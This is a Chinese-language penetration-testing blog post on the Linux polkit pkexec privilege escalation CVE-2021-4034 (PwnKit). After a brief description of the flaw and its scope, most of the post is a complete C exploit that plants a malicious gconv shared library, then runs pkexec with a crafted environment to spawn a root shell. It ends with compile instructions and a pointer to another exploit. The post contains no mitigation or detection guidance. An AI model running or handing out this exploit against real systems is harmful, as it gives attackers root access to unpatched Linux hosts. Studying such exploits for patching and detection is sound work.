Linux提权 CVE-2021-4034

发表于 2023-12-25 分类于渗透

前言

Linux Polkit 本地提权漏洞，cvss评分 7.8，高危漏洞

polkit的pkexec 存在本地权限提升漏洞
已获得普通权限的攻击者可以通过此漏洞提权至root权限

polkit

pkexec 应用程序是一个 setuid 工具，旨在允许非特权用户根据预定义的策略以特权用户身份运行命令，常见的linux发行版都有 polkit模块

影响范围

因为polkit是系统自带的工具，主流linux版本均受影响

复现

EXP：

/*
 * Proof of Concept for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034) by Andris Raugulis <[email protected]>
 * Advisory: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shell = 
	"#include <stdio.h>\n"
	"#include <stdlib.h>\n"
	"#include <unistd.h>\n\n"
	"void gconv() {}\n"
	"void gconv_init() {\n"
	"	setuid(0); setgid(0);\n"
	"	seteuid(0); setegid(0);\n"
	"	system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
	"	exit(0);\n"
	"}";

int main(int argc, char *argv[]) {
	FILE *fp;
	system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
	system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
	fp = fopen("pwnkit/pwnkit.c", "w");
	fprintf(fp, "%s", shell);
	fclose(fp);
	system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
	char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
	execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}

编译生成可执行文件

gcc exp.c -o exp

没gcc情况下：https://github.com/nikaiw/CVE-2021-4034